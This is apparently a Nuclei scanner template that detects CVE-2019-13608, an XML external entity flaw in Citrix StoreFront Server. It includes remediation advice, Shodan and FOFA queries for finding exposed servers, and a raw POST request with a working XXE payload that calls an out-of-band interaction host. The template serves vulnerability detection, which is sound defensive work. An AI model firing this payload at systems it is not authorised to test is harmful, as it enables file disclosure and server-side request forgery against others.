id: CVE-2019-13608

info:
  name: Citrix StoreFront Server - XML External Entity
  author: daffainfo
  severity: high
  description: |
    Citrix StoreFront Server before 1903, 7.15 LTSR before CU4 (3.12.4000), and 7.6 LTSR before CU8 (3.0.8000) allows XXE attacks.
  impact: |
    Attackers can read arbitrary files, perform server-side request forgery, or cause denial of service through XXE attacks.
  remediation: |
    Update to version 1903 or later for StoreFront, CU4 or later for 7.15 LTSR, CU8 or later for 7.6 LTSR.
  reference:
    - https://www.exploit-db.com/exploits/47561
    - https://support.citrix.com/support-home/kbsearch/article?articleNumber=CTX251988
    - https://nvd.nist.gov/vuln/detail/CVE-2019-13608
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2019-13608
    cwe-id: CWE-611
    epss-score: 0.28032
    epss-percentile: 0.97851
    cpe: cpe:2.3:a:citrix:storefront_server:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: citrix
    product: storefront_server
    shodan-query: "/Citrix/StoreWeb"
    fofa-query: "/Citrix/StoreWeb"
  tags: cve,cve2019,citrix,storefront_server,xxe,kev,vkev

http:
  - raw:
      - |
        POST /Citrix/StoreAuth/ExplicitForms/Start HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/vnd.citrix.requesttoken+xml
        Accept: application/vnd.citrix.requesttokenresponse+xml, text/xml, application/vnd.citrix.authenticateresponse-1+xml

        <?xml version="1.0" encoding="utf-8"?>
        <!DOCTYPE requesttoken [<!ENTITY % xxe SYSTEM "http://{{interactsh-url}}"> %xxe; ]>
        <requesttoken xmlns="http://citrix.com/delivery-services/1-0/auth/requesttoken">
          <for-service>6b78ab94-a709-4e3a-8b9b-a49ca317c70c</for-service>
          <for-service-url>https://www.example.com/Citrix/Store/resources/v2</for-service-url>
          <reqtokentemplate />
          <requested-lifetime>1.00:00:00</requested-lifetime>
        </requesttoken>

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        part: content_type
        words:
          - "vnd.citrix.authenticateresponse"

      - type: word
        part: body
        words:
          - "<AuthenticateResponse"
          - "error-bad-request"
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100f88b04ea86f1aaf6b7d6cc7c650092b582a0670441fe370cade2d6f71f9687e802204e1d3f6a30d4de49c9a64db67206819920b7aa75039c98958837a85d8769e1db:922c64590222798bb761d5b6d8e72950